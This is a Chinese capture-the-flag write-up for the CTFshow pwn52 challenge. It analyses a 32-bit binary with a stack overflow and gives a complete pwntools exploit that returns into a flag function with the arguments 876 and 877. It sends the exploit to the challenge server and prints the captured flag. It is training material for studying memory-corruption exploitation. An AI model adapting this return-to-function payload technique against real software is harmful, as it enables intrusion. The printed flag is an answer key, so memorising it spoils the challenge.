CTFshow-PWN-栈溢出(pwn52)
迎面走来的flag让我如此蠢蠢欲动
常规检查一下:
32 位程序,开启 NX 保护
ida 反编译看主函数
跟进 ctfshow 函数,存在栈溢出
有一个 hint:你需要满足它的条件!
注意到这里有一个 flag 函数
读取文件 /ctfshow_flag 并在特定条件下将内容打印出来
满足条件才会打印 s 即 flag 内容
否则只返回 s 字符串指针,没有输出
需要满足:
if ( a1 == 876 && a2 == 877 )
也就是 flag 函数接收的两个参数呗
构造 payload:
溢出后返回到 flag 函数,再传入满足条件的参数值
payload = cyclic(offset) + p32(flag_addr) + p32(0) + p32(876) + p32(877)
完整 exp:
# @author:My6n
# @time:20250611
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28159)
elf = ELF('./pwn')
flag_addr = elf.sym['flag']
offset = 0x6c+4
payload = cyclic(offset) + p32(flag_addr) + p32(0) + p32(876) + p32(877)
io.sendline(payload)
io.interactive()
拿到 flag:ctfshow{ec5e1623-6d8d-4338-bcb9-43f23d6f65d8}